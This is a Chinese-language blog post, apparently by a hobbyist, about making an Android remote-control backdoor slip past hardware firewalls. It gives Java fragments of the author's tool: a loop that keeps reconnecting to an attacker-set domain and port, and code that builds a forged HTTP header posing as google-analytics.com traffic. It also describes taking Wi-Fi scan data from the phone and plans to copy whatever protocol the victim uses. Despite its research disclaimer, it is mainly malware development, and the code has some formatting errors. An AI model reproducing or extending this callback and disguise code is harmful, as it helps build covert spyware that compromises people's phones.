首先來說說本人對防火墻的一些認識,防火墻就是攔截和過濾外部網絡“不安全的網絡”對內部網絡“可信網絡” 數據包傳輸的一個工具。反過來也是可以的(內部網絡到外部網絡),可以是軟件防火墻,也可以硬件防火墻。它的原理就是對 TCP/IP 協議族中的網絡層和傳輸層以及應用層中的數據包進行分析和過濾。
關于防火墻更加詳細的說明可以參考百度百科http://baike.baidu.com/subview/3067/9048966.htm
本文研究的內容可能包含攻擊性,僅供安全研究和教學用途,禁止非法利用
手機遠程控制軟件穿墻研究
下面進入正題,今天討論的手機遠程控制(以下簡稱遠控)主要指的是Android類手機遠控,采用TCP 反彈連接的方式上線。反彈連接上線這種方式對于研究安全技術的人來說再熟悉不過了,比如說幾年前的灰鴿子遠控, 上興遠控, PCShare, PosionIvy 等等。
這種上線方式就是大家常說的C/S(client/server)模式;不同于C/S模式,B/S(brower/server)模式數據包傳輸走的是HTTP或者HTTPS協議。
穿透硬件防火墻的方法有很多種, 比如說走ICMP 協議的后門,可以穿透一部分防火墻(取決于防火墻的過濾規則),還有走HTTP/HTTPs協議的B/S類遠控后門,這類遠控上線很隱蔽,不易被察覺。但是它們都有一個特點,就是數據傳輸協議單一,一旦被發現,就很難逃脫,因為發送的http 請求頭都是固定的,比如大家常用的掃描web服務器的工具AcunetixWeb Vulnerability Scanner,Netsparker 等等;它們的http 請求頭都很特殊。B/S類遠控后門也一樣。
我這里的思路是什么呢? 數據包傳輸還得用tcp反彈連接 ,但是數據包是偽造的。比如偽造成http 協議,或者任意一種應用層協議,如SMTP協議,DNS協議等等。
下面我給出一部分關鍵源代碼:
/**
* 建立socket 反彈連接.
*/
new Thread()
{
public void run() {
while(true)
{
try
{
Thread.sleep(2000);
try
{
//從String.xml獲取上線域名和端口。
socket = newSocket(InetAddress.getByName(domain.trim()),Integer.parseInt(port.trim()));
booleanisConnected = socket.isConnected()&&!socket.isClosed();
if(isConnected)
{
Log.d(TAG,socket.toString());
socket.setKeepAlive(true); //表示對于長時間處于空閑狀態的Socket,是否要自動把它關閉
//socket.setTcpNoDelay(true);//TcpNoDelay=false,為啟用nagle算法
BackConnTask(socket);
}
} catch(IOException e) {
Log.e(TAG,e.toString());
} finally{
if(socket!=null)socket.close();
}
} catch (Exceptione) {
Log.e(TAG,e.toString());
}
}
};
}.start();
/**
* 初始化http請求數據.
*/
public String InitHttpGet()
{
StringBuilder request = newStringBuilder();
String v1="Host:www.google-analytics.com
";
String v2="User-Agent:Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0
";
String v3="Accept:image/png,image/*;q=0.8,*/*;q=0.5
";
String v4="Accept-Language:zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
";
String v5="Accept-Encoding:gzip, deflate
";
String v6="Connection:keep-alive
";
request.append(v1).append(v2).append(v3).append(v4).append(v5).append(v6);
//request.length()=266
return request.toString();
}
上面的源代碼只是一小部分,源代碼的流程是這樣的,如下圖:
這里只是一個初步的模型,數據包的前面一部分還是固定的。
在wireshark 里看到 ,數據包由tcp 變成了 http 協議。數據內容也變成了http 的請求頭數據包。
上圖是獲取WIFI 掃描信息,還有其他功能就不一一演示了。
了解主流硬件防火墻
下面我們再來看下主流的硬件防火墻都有哪些功能
(注明:下面文字是從天融信官方網站上找到的)
NGFW4000系列專用平臺產品采用最新的CCI技術,提供對OSI網絡模型所有層次上的網絡威脅的實時保護。網絡衛士系列防火墻可對還原出來的應用層對象(如文件、網頁、郵件等)進行病毒查殺,并可檢查是否存在不良WEB內容、垃圾郵件、間諜軟件和網絡釣魚欺騙等其他威脅,實現徹底防范。
狀態檢測只檢查數據包的包頭。
深度包檢測可對數據包內容進行檢查。
CCI可實時將網絡層數據還原為完整的應用層對象(如文件、網頁、郵件等),并對這些完整內容進行全面檢查,實現徹底的內容防護。
支持入侵防御功能:
支持應用層防御,入侵防御攻擊特征庫數量≥3500種,攻擊檢測率≥90%;支持對多種常用協議的協議識別和異常檢測,包括HTTP、FTP、SMTP、POP3、IMAP、MSRPC、NETBIOS、SMB、MS_SQL、TALNET、IRC、DNS等;支持入侵攻擊特征庫的分類顯示;支持用戶自定義規則;支持入侵攻擊特征庫自動升級,手動升級,離線升級,版本回退;響應方式支持阻斷、丟包、日志記錄等。
從上面的描述可以分析得出, 硬件防火墻的功能還是很全面的。要想突破防火墻的過濾規則,就需要在發送數據包的時候繞過這些規則。
我上面的源代碼實現的功能并不完善,以后的想法是實現受控端本地抓包,受控端用什么網絡協議,遠控就自動偽造成什么協議。達到的效果就是受控端能上網,遠控也能上網。
題外話
我看過很多有關黑客類電影,比如:《虎膽龍威4》,《007》,《諜影重重》,《奪命手機》等等。你們想想看,美國國家安全局、中情局、英國軍情6處,它們用的什么硬件防火墻。是吧,肯定很牛X ,要想突破,談何容易。